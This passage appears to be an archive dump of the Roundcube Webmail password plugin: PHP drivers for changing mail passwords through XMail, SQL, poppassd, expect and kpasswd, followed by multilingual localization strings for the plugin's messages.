            return PASSWORD_CONNECT_ERROR;
        }

        if (!$xmail->send("userpasswd\t".$domain."\t".$user."\t".$newpass."\n")) {
            $xmail->close();
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: Unable to change password"
                ], true, false
            );

            return PASSWORD_ERROR;
        }

        $xmail->close();
        return PASSWORD_SUCCESS;
    }
}

class XMail {
    var $socket;
    var $hostname = 'localhost';
    var $username = 'xmail';
    var $password = '';
    var $port = 6017;

    function send($msg)
    {
        socket_write($this->socket,$msg);
        if (substr(socket_read($this->socket, 512, PHP_BINARY_READ),0,1) != "+") {
            return false;
        }
        return true;
    }

    function connect()
    {
        $this->socket = socket_create(AF_INET, SOCK_STREAM, 0);
        if ($this->socket < 0)
            return false;

        $result = socket_connect($this->socket, $this->hostname, $this->port);
        if ($result < 0) {
            socket_close($this->socket);
            return false;
        }

        if (substr(socket_read($this->socket, 512, PHP_BINARY_READ),0,1) != "+") {
            socket_close($this->socket);
            return false;
        }

        if (!$this->send("$this->username\t$this->password\n")) {
            socket_close($this->socket);
            return false;
        }
        return true;
    }

    function close()
    {
        $this->send("quit\n");
        socket_close($this->socket);
    }
}
PKh�\^��,!! plugins/password/drivers/sql.phpnu�[���<?php

/**
 * SQL Password Driver
 *
 * Driver for passwords stored in SQL database
 *
 * @version 2.1
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */
class rcube_sql_password
{
    /**
     * Update current user password
     *
     * @param string $curpass Current password
     * @param string $passwd  New password
     *
     * @return int Result
     */
    function save($curpass, $passwd)
    {
        $rcmail = rcmail::get_instance();

        if (!($sql = $rcmail->config->get('password_query'))) {
            $sql = 'SELECT update_passwd(%P, %u)';
        }

        if ($dsn = $rcmail->config->get('password_db_dsn')) {
            $db = rcube_db::factory(self::parse_dsn($dsn), '', false);
            $db->set_debug((bool)$rcmail->config->get('sql_debug'));
        }
        else {
            $db = $rcmail->get_dbh();
        }

        if ($db->is_error()) {
            return PASSWORD_ERROR;
        }

        // new password - default hash method
        if (strpos($sql, '%P') !== false) {
            $password = password::hash_password($passwd);

            if ($password === false) {
                return PASSWORD_CRYPT_ERROR;
            }

            $sql = str_replace('%P',  $db->quote($password), $sql);
        }

        // old password - default hash method
        if (strpos($sql, '%O') !== false) {
            $password = password::hash_password($curpass);

            if ($password === false) {
                return PASSWORD_CRYPT_ERROR;
            }

            $sql = str_replace('%O',  $db->quote($password), $sql);
        }

        // Handle clear text passwords securely (#1487034)
        $sql_vars = [];
        if (preg_match_all('/%[p|o]/', $sql, $m)) {
            foreach ($m[0] as $var) {
                if ($var == '%p') {
                    $sql = preg_replace('/%p/', '?', $sql, 1);
                    $sql_vars[] = (string) $passwd;
                }
                else { // %o
                    $sql = preg_replace('/%o/', '?', $sql, 1);
                    $sql_vars[] = (string) $curpass;
                }
            }
        }

        $local_part  = $rcmail->user->get_username('local');
        $domain_part = $rcmail->user->get_username('domain');
        $username    = $_SESSION['username'];
        $host        = $_SESSION['imap_host'];

        // convert domains to/from punycode
        if ($rcmail->config->get('password_idn_ascii')) {
            $domain_part = rcube_utils::idn_to_ascii($domain_part);
            $username    = rcube_utils::idn_to_ascii($username);
            $host        = rcube_utils::idn_to_ascii($host);
        }
        else {
            $domain_part = rcube_utils::idn_to_utf8($domain_part);
            $username    = rcube_utils::idn_to_utf8($username);
            $host        = rcube_utils::idn_to_utf8($host);
        }

        // at least we should always have the local part
        $sql = str_replace('%l', $db->quote($local_part, 'text'), $sql);
        $sql = str_replace('%d', $db->quote($domain_part, 'text'), $sql);
        $sql = str_replace('%u', $db->quote($username, 'text'), $sql);
        $sql = str_replace('%h', $db->quote($host, 'text'), $sql);

        $res = $db->query($sql, $sql_vars);

        if (!$db->is_error()) {
            if (strtolower(substr(trim($sql),0,6)) == 'select') {
                if ($db->fetch_array($res)) {
                    return PASSWORD_SUCCESS;
                }
            }
            else {
                // Note: Don't be tempted to check affected_rows = 1. For some queries
                // (e.g. INSERT ... ON DUPLICATE KEY UPDATE) the result can be 2.
                if ($db->affected_rows($res) > 0) {
                    return PASSWORD_SUCCESS;
                }
            }
        }

        return PASSWORD_ERROR;
    }

    /**
     * Parse DSN string and replace host variables
     *
     * @param string $dsn DSN string
     *
     * @return string DSN string
     */
    protected static function parse_dsn($dsn)
    {
        if (strpos($dsn, '%')) {
            // parse DSN and replace variables in hostname
            $parsed = rcube_db::parse_dsn($dsn);
            $host   = rcube_utils::parse_host($parsed['hostspec']);

            // build back the DSN string
            if ($host != $parsed['hostspec']) {
                $dsn = str_replace('@' . $parsed['hostspec'], '@' . $host, $dsn);
            }
        }

        return $dsn;
    }
}
PKh�\�bԙe
e
%plugins/password/drivers/poppassd.phpnu�[���<?php

/**
 * Poppassd Password Driver
 *
 * Driver to change passwords via Poppassd/Courierpassd
 *
 * @version 2.0
 * @author Philip Weir
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_poppassd_password
{
    function format_error_result($code, $line)
    {
        if (preg_match('/^\d\d\d\s+(\S.*)\s*$/', $line, $matches)) {
            return ['code' => $code, 'message' => $matches[1]];
        }

        return $code;
    }

    function save($curpass, $passwd, $username)
    {
        $rcmail   = rcmail::get_instance();
        $poppassd = new Net_Socket();

        $port = $rcmail->config->get('password_pop_port', 106);
        $host = $rcmail->config->get('password_pop_host', 'localhost');
        $host = rcube_utils::parse_host($host);

        $result = $poppassd->connect($host, $port, null);

        if (is_a($result, 'PEAR_Error')) {
            return $this->format_error_result(PASSWORD_CONNECT_ERROR, $result->getMessage());
        }

        $result = $poppassd->readLine();

        if (!preg_match('/^2\d\d/', $result)) {
            $poppassd->disconnect();
            return $this->format_error_result(PASSWORD_ERROR, $result);
        }

        $poppassd->writeLine("user ". $username);
        $result = $poppassd->readLine();

        if (!preg_match('/^[23]\d\d/', $result)) {
            $poppassd->disconnect();
            return $this->format_error_result(PASSWORD_CONNECT_ERROR, $result);
        }

        $poppassd->writeLine("pass ". $curpass);
        $result = $poppassd->readLine();

        if (!preg_match('/^[23]\d\d/', $result)) {
            $poppassd->disconnect();
            return $this->format_error_result(PASSWORD_ERROR, $result);
        }

        $poppassd->writeLine("newpass ". $passwd);
        $result = $poppassd->readLine();
        $poppassd->disconnect();

        if (!preg_match('/^2\d\d/', $result)) {
            return $this->format_error_result(PASSWORD_ERROR, $result);
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\���	�	#plugins/password/drivers/expect.phpnu�[���<?php

/**
 * expect driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'expect' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Andy Theuninck <gohanman@gmail.com)
 *
 * Based on chpasswd roundcubemail password driver by
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk)
 * and expect horde passwd driver by
 * @author  Gaudenz Steinlin <gaudenz@soziologie.ch>
 *
 * Configuration settings:
 * password_expect_bin => location of expect (e.g. /usr/bin/expect)
 * password_expect_script => path to "password-expect" file
 * password_expect_params => arguments for the expect script
 *   see the password-expect file for details. This is probably
 *   a good starting default:
 *   -telnet -host localhost -output /tmp/passwd.log -log /tmp/passwd.log
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_expect_password
{
    public function save($currpass, $newpass, $username)
    {
        $rcmail   = rcmail::get_instance();
        $bin      = $rcmail->config->get('password_expect_bin');
        $script   = $rcmail->config->get('password_expect_script');
        $params   = $rcmail->config->get('password_expect_params');

        $cmd = $bin . ' -f ' . $script . ' -- ' . $params;
        $handle = popen($cmd, "w");
        fwrite($handle, "$username\n");
        fwrite($handle, "$currpass\n");
        fwrite($handle, "$newpass\n");

        if (pclose($handle) == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $cmd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\iKyќ�$plugins/password/drivers/kpasswd.phpnu�[���<?php

/**
 * kpasswd Driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'kpasswd' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 1.0
 * @author Peter Allgeyer <peter.allgeyer@salzburgresearch.at>
 *
 * Based on chpasswd roundcubemail password driver by
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk>
 */

class rcube_kpasswd_password
{
    public function save($currpass, $newpass, $username)
    {
        $bin = rcmail::get_instance()->config->get('password_kpasswd_cmd', '/usr/bin/kpasswd');
        $cmd = $bin . ' ' . escapeshellarg($username) . ' 2>&1';

        $handle = popen($cmd, "w");
        fwrite($handle, $currpass."\n");
        fwrite($handle, $newpass."\n");
        fwrite($handle, $newpass."\n");

        if (pclose($handle) == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $cmd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\ZT)r		'plugins/password/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = '修改密码';
$labels['curpasswd']  = '当前密码:';
$labels['newpasswd']  = '新密码:';
$labels['confpasswd']  = '确认新密码:';
$messages['nopassword'] = '请输入新密码。';
$messages['nocurpassword'] = '请输入当前的密码。';
$messages['passwordincorrect'] = '当前密码不正确。';
$messages['passwordinconsistency'] = '两次输入的密码不一致,请重试。';
$messages['crypterror'] = '无法保存新密码,缺少加密功能。';
$messages['connecterror'] = '无法保存新密码,连接出错。';
$messages['internalerror'] = '无法保存新密码。';
$messages['passwordshort'] = '密码至少为 $length 位。';
$messages['passwordweak'] = '密码必须至少包含一个数字和一个标点符号。';
$messages['passwordforbidden'] = '密码包含禁止使用的字符。';
$messages['firstloginchange'] = '这是你第一次登录邮箱,请修改邮箱密码。';
$messages['disablednotice'] = '系统目前正在维护,密码修改功能无法使用。我们会很快回来,给您带来不便深表歉意。';
$messages['passwinhistory'] = '此密码以前使用过。';
$messages['samepasswd'] = '新密码不能与旧密码相同。';
$messages['passwdexpirewarning'] = '警告!您的密码即将过期,请在 $expirationdatetime 前更改。';
$messages['passwdexpired'] = '您的密码已过期,您现在必须更改!';
$messages['passwdconstraintviolation'] = '密码约束违规。密码可能太弱了。';
PKh�\���'plugins/password/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Змяніць пароль';
$labels['curpasswd']  = 'Бягучы пароль:';
$labels['newpasswd']  = 'Новы пароль:';
$labels['confpasswd']  = 'Паўтарыце новы пароль:';
$messages['nopassword'] = 'Увядзіце новы пароль.';
$messages['nocurpassword'] = 'Увядзіце бягучы пароль.';
$messages['passwordincorrect'] = 'Няслушны бягучы пароль.';
$messages['passwordinconsistency'] = 'Паролі не супадаюць. Паспрабуйце яшчэ раз.';
$messages['crypterror'] = 'Не ўдалося захаваць новы пароль. Бракуе функцыі шыфравання.';
$messages['connecterror'] = 'Не ўдалося захаваць новы пароль. Памылка злучэння.';
$messages['internalerror'] = 'Не ўдалося захаваць новы пароль.';
$messages['passwordshort'] = 'Пароль мусіць быць мінімум $length знакаў.';
$messages['passwordweak'] = 'Пароль мусіць утрымліваць мінімум адну лічбу і адзін знак пунктуацыі.';
$messages['passwordforbidden'] = 'Пароль утрымлівае забароненыя знакі.';
$messages['firstloginchange'] = 'Гэта ваш першы ўваход. Трэба змяніць пароль.';
PKh�\�Y��'plugins/password/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Промяна на парола';
$labels['curpasswd']  = 'Текуща парола:';
$labels['newpasswd']  = 'Нова парола:';
$labels['confpasswd']  = 'Повторно нова парола:';
$messages['nopassword'] = 'Моля въведете нова парола.';
$messages['nocurpassword'] = 'Моля въведете текущата парола.';
$messages['passwordincorrect'] = 'Невалидна текуща парола.';
$messages['passwordinconsistency'] = 'Паролите не съвпадат, опитайте отново.';
$messages['crypterror'] = 'Невъзможна промяна на паролата. Липсва PHP функция за криптиране.';
$messages['connecterror'] = 'Невъзможна промяна на паролата. Грешка при свързване със сървър.';
$messages['internalerror'] = 'Паролата не може да бъде променена.';
$messages['passwordshort'] = 'Паролата трябва да е дълга поне $length знака.';
$messages['passwordweak'] = 'Паролата трябва да включва поне една цифра и един препинателен знак.';
$messages['passwordtooweak'] = 'Паролата е твърде лесна.';
$messages['passwordnoseq'] = 'Паролата не трябва да бъде последователност като 123456 или QWERTY.';
$messages['passwordnocommon'] = 'Паролата не трябва да е често срещна дума или име.';
$messages['passwordforbidden'] = 'Паролата съдържа непозволени символи.';
$messages['firstloginchange'] = 'Влизате за първи път. Моля променете Вашата парола.';
$messages['disablednotice'] = 'Системата е в режим на поддръжка и не е възможна промяна на паролата. Всичко би трябвало да се нормализира съвсем скоро. Извиняваме са за причиненото неудобство.';
$messages['passwinhistory'] = 'Тази парола вече е била използвана.';
$messages['samepasswd'] = 'Новата парола трябва да е различна от старата парола.';
$messages['passwdexpirewarning'] = 'Внимание! Срокът на Вашата парола изтича съвсем скоро и е препоръчително да я смените преди $expirationdatetime.';
$messages['passwdexpired'] = 'Срокът на Вашата парола е изтекъл и трябва да я смените точно сега!';
$messages['passwdconstraintviolation'] = 'Нарушение на изискване за паролата. Вероятно паролата е твърде лесна.';
$messages['pwned_mustnotbedisclosed'] = 'Паролата не трябва да бъде <a href="$href" target="_blank">общоизвестна</a>.';
$messages['pwned_isdisclosed'] = 'Тази парола е общоизвестна.';
$messages['pwned_fetcherror'] = 'Неуспешна проверка на силата на паролата.';
PKh�\�+��'plugins/password/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Change password';
$labels['curpasswd']  = 'Current Password:';
$labels['newpasswd']  = 'New Password:';
$labels['confpasswd']  = 'Confirm New Password:';

$messages['nopassword'] = 'Please input new password.';
$messages['nocurpassword'] = 'Please input current password.';
$messages['passwordincorrect'] = 'Current password incorrect.';
$messages['passwordinconsistency'] = 'Passwords do not match, please try again.';
$messages['crypterror'] = 'Could not save new password. Encryption function missing.';
$messages['connecterror'] = 'Could not save new password. Connection error.';
$messages['internalerror'] = 'Could not save new password.';
$messages['passwordshort'] = 'Password must be at least $length characters long.';
$messages['passwordweak'] = 'Password must include at least one number and one punctuation character.';
$messages['passwordtooweak'] = 'Password too weak.';
$messages['passwordnoseq'] = 'Password should not be a sequence like 123456 or QWERTY.';
$messages['passwordnocommon'] = 'Password should not be a common word or name.';
$messages['passwordforbidden'] = 'Password contains forbidden characters.';
$messages['firstloginchange'] = 'This is your first login. Please change your password.';
$messages['disablednotice'] = 'The system is currently under maintenance and password change is not possible at the moment. Everything should be back to normal soon. We apologize for any inconvenience.';
$messages['passwinhistory'] = 'This password has already been used previously.';
$messages['samepasswd'] = 'New password have to be different from the old one.';
$messages['passwdexpirewarning'] = 'Warning! Your password will expire soon, change it before $expirationdatetime.';
$messages['passwdexpired'] = 'Your password has expired, you have to change it now!';
$messages['passwdconstraintviolation'] = 'Password constraint violation. Password probably too weak.';
$messages['pwned_mustnotbedisclosed'] = 'Password must not be <a href="$href" target="_blank">commonly known</a>.';
$messages['pwned_isdisclosed'] = 'This password is commonly known.';
$messages['pwned_fetcherror'] = 'Failed to verify the password strength.';
PKh�\f�����'plugins/password/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Vaihda salasana';
$labels['curpasswd']  = 'Nykyinen salasana:';
$labels['newpasswd']  = 'Uusi salasana:';
$labels['confpasswd']  = 'Vahvista uusi salasana:';
$messages['nopassword'] = 'Syötä uusi salasana.';
$messages['nocurpassword'] = 'Syötä nykyinen salasana.';
$messages['passwordincorrect'] = 'Nykyinen salasana on väärin.';
$messages['passwordinconsistency'] = 'Salasanat eivät täsmää, yritä uudelleen.';
$messages['crypterror'] = 'Uuden salasanan tallennus epäonnistui. Kryptausfunktio puuttuu.';
$messages['connecterror'] = 'Uuden salasanan tallennus epäonnistui. Yhteysongelma.';
$messages['internalerror'] = 'Uuden salasanan tallennus epäonnistui.';
$messages['passwordshort'] = 'Salasanassa täytyy olla vähintään $length merkkiä.';
$messages['passwordweak'] = 'Salasanan täytyy sisältää vähintään yksi numero ja yksi välimerkki.';
$messages['passwordtooweak'] = 'Salasana on liian heikko.';
$messages['passwordnoseq'] = 'Salasana ei saa olla yleinen ketju kuten 123456 tai QWERTY.';
$messages['passwordnocommon'] = 'Salasana ei saa olla yleinen sana tai nimi.';
$messages['passwordforbidden'] = 'Salasana sisältää virheellisiä merkkejä.';
$messages['firstloginchange'] = 'Tämä on ensimmäinen kirjautumiskertasi. Vaihda salasanasi.';
$messages['disablednotice'] = 'Järjestelmä on parhaillaan huoltotilassa, joten salasanaa ei voi vaihtaa juuri nyt. Pahoittelemme aiheutunutta vaivaa. Kaiken pitäisi olla pian käytettävissä normaaliin tapaan.';
$messages['passwinhistory'] = 'Tämä salasana on jo ollut käytössä aikaisemmin.';
$messages['samepasswd'] = 'Uuden salasanan pitää olla eri kuin vanha salasana.';
$messages['passwdexpirewarning'] = 'Varoitus! Salasanasi vanhenee pian, vaihda se ennen $expirationdatetime.';
$messages['passwdexpired'] = 'Salasanasi on vanhentunut ja se pitää vaihtaa nyt!';
$messages['passwdconstraintviolation'] = 'Salasanan rajoitevirhe. Salasana on todennäköisesti liian heikko.';
$messages['pwned_mustnotbedisclosed'] = 'Salasana ei saa olla <a href="$href" target="_blank">yleisesti tunnettu</a>.';
$messages['pwned_isdisclosed'] = 'Salasana on yleisesti tunnettu.';
$messages['pwned_fetcherror'] = 'Salasanan vahvuutta ei voitu varmistaa.';
PKh�\m��BB'plugins/password/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Bytt passord';
$labels['curpasswd']  = 'Nåværende passord:';
$labels['newpasswd']  = 'Nytt passord:';
$labels['confpasswd']  = 'Bekreft nytt passord';
$messages['nopassword'] = 'Vennligst skriv inn nytt passord';
$messages['nocurpassword'] = 'Vennligst skriv inn nåværende passord';
$messages['passwordincorrect'] = 'Nåværende passord er feil.';
$messages['passwordinconsistency'] = 'Passordene er ikke like, vennligst prøv igjen.';
$messages['crypterror'] = 'Kunne ikke lagre nytt passord. Krypteringsfunksjonen mangler.';
$messages['connecterror'] = 'Kunne ikke lagre nytt passord. Tilkoblingsfeil.';
$messages['internalerror'] = 'Kunne ikke lagre nytt passord';
$messages['passwordshort'] = 'Passordet må minimum inneholde $length tegn.';
$messages['passwordweak'] = 'Passordet må inneholde minst ett tall og ett tegnsettingssymbol.';
$messages['passwordtooweak'] = 'Passordet er for svakt.';
$messages['passwordnoseq'] = 'Passordet burde ikke være en setning slik som 123456 eller QWERTY.';
$messages['passwordnocommon'] = 'Passordet burde ikke være et ord eller navn.';
$messages['passwordforbidden'] = 'Passordet inneholder forbudte tegn.';
$messages['firstloginchange'] = 'Dette er din første innlogging. Vennligst bytt ditt passord.';
$messages['disablednotice'] = 'Systemet er under vedlikehold og man kan ikke endre passord for øyeblikket. Alt skal være tilbake til normalt snart. Vi beklager de ulempene dette måtte medføre.';
$messages['passwinhistory'] = 'Dette passordet er benyttet tidligere.';
$messages['samepasswd'] = 'Det nye passordet må være anderledes fra det gamle.';
$messages['passwdexpirewarning'] = 'Advarsel! Ditt passord løper snart ut, bytt det før $expirationdatetime.';
$messages['passwdexpired'] = 'Ditt passord har løpt ut, du må bytte det nå!';
$messages['passwdconstraintviolation'] = 'Brudd på passordbegrensning. Passordet er sannsynligvis for svakt.';
$messages['pwned_isdisclosed'] = 'Dette passordet er allment kjent.';
$messages['pwned_fetcherror'] = 'Feilet i verifiseringen av passordstyrke.';
PKh�\�&��

'plugins/password/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Ndryshoni fjalëkalimin';
$labels['curpasswd']  = 'Fjalëkalimi i Tanishëm';
$labels['newpasswd']  = 'Fjalëkalimi i Ri:';
$labels['confpasswd']  = 'Ripohoni Fjalëkalimin e Ri:';
$messages['nopassword'] = 'Ju lutemi, futni fjalëkalimin e ri.';
$messages['nocurpassword'] = 'Ju lutemi, futni fjalëkalimin e tanishëm.';
$messages['passwordincorrect'] = 'Fjalëkalimi i tanishëm është i pasaktë.';
$messages['passwordinconsistency'] = 'Fjalëkalimet nuk përputhen, ju lutemi, riprovoni.';
$messages['crypterror'] = 'S’u ruajt dot fjalëkalimi i ri. Mungon funksioni i Fshehtëzimit.';
$messages['connecterror'] = 'S’u ruajt dot fjalëkalimi i ri. Gabim lidhjeje.';
$messages['internalerror'] = 'S’u ruajt dot fjalëkalimi i ri.';
$messages['passwordshort'] = 'Fjalëkalimi duhet të jetë të paktën $length shenja i gjatë.';
$messages['passwordweak'] = 'Fjalëkalimi duhet të përmbajë të paktën një numër dhe një shenjë pikësimi.';
$messages['passwordtooweak'] = 'Fjalëkalim shumë i dobët.';
$messages['passwordnoseq'] = 'Fjalëkalimi s’duhet të jetë një sekuencë si, fjala vjen, 123456 apo QWERTY.';
$messages['passwordnocommon'] = 'Fjalëkalimi s’duhet të jetë një fjalë apo emër i rëndomtë.';
$messages['passwordforbidden'] = 'Fjalëkalimi përmban shenja të ndaluara.';
$messages['firstloginchange'] = 'Kjo është hyrja juaj e parë. Ju lutemi, ndryshoni fjalëkalimin tuaj.';
$messages['disablednotice'] = 'Sistemi është hëpërhë nën gjendje punimesh mirëmbajtjeje dhe ndryshimi i fjalëkalimit s’është i mundur në këtë çast. Gjithçka do të duhej të ish kthyer në gjendje normale shumë shpejt. Kërkojmë ndjesë për çfarëdo sikleti.';
$messages['passwinhistory'] = 'Ky fjalëkalim është përdorur një herë më parë.';
$messages['samepasswd'] = 'Fjalëkalimi i ri duhet të jetë i ndryshëm nga i vjetri.';
$messages['passwdexpirewarning'] = 'Kujdes! Fjalëkalimi juaj do të skadojë së shpejti, ndryshojeni para $expirationdatetime.';
$messages['passwdexpired'] = 'Fjalëkalimi juaj ka skaduar, lypset ta ndryshoni tani!';
$messages['passwdconstraintviolation'] = 'Cenim kufizimi fjalëkalimi. Mundet fjalëkalim shumë i dobët.';
$messages['pwned_mustnotbedisclosed'] = 'Fjalëkalimi s’duhet të jetë <a href="$href" target="_blank">gjë e ditur rëndom</a>.';
$messages['pwned_isdisclosed'] = 'Ky fjalëkalim është rëndom i njohur';
$messages['pwned_fetcherror'] = 'S’u arrit të verifikohej fortësia e fjalëkalimit.';
PKh�\����'plugins/password/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Muuda parooli';
$labels['curpasswd']  = 'Vana parool:';
$labels['newpasswd']  = 'Uus parool:';
$labels['confpasswd']  = 'Uus parool uuesti:';
$messages['nopassword'] = 'Palun sisesta uus parool.';
$messages['nocurpassword'] = 'Palun sisesta vana parool.';
$messages['passwordincorrect'] = 'Vana parool on vale.';
$messages['passwordinconsistency'] = 'Paroolid ei kattu, palun proovi uuesti.';
$messages['crypterror'] = 'Serveris ei ole parooli krüpteerimiseks vajalikku funktsiooni.';
$messages['connecterror'] = 'Parooli salvestamine nurjus. Ühenduse tõrge.';
$messages['internalerror'] = 'Uue parooli andmebaasi salvestamine nurjus.';
$messages['passwordshort'] = 'Parool peab olema vähemalt $length märki pikk.';
$messages['passwordweak'] = 'Parool peab sisaldama vähemalt üht numbrit ja märki.';
$messages['passwordtooweak'] = 'Parool on liiga nõrk.';
$messages['passwordforbidden'] = 'Parool sisaldab keelatud märki.';
$messages['firstloginchange'] = 'See on sinu esimene sisselogimine, palun muuda oma parooli.';
$messages['pwned_isdisclosed'] = 'Parool on liiga tavaline.';
$messages['pwned_fetcherror'] = 'Parooli tugevuse kontrollimine ebaõnnestus.';
PKh�\1薎�'plugins/password/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'گۆڕینی تێپەڕەوشە';
$labels['curpasswd']  = 'تێپەڕەوشەی ئێستا:';
$labels['newpasswd']  = 'تێپەڕەوشەی نوێ:';
$labels['confpasswd']  = 'پشتڕاستکردنەوەی تێپەڕەوشەی نوێ:';
$messages['nopassword'] = 'تکایە تێپەڕەوشەی نوێ بنووسە.';
$messages['nocurpassword'] = 'تکایە تێپەڕەوشەی ئێستا بنووسە.';
$messages['passwordincorrect'] = 'تێپەڕەوشەی ئێستا نادروستە.';
$messages['passwordinconsistency'] = 'تێپەڕەوشەکان هاویەک نین، تکایە دووبارە هەوڵبدەوە.';
$messages['connecterror'] = 'نەتوانرا تێپەڕەوشەی نوێ پاشەکەوت بکرێت. هەڵەی پەیوەندیکردن.';
$messages['internalerror'] = 'نەتوانرا تێپەڕەوشەی نوێ پاشەکەوت بکرێت.';
$messages['passwordforbidden'] = 'تێپەڕەوشە نووسەی ڕێپێنەدراوی تێدایە.';
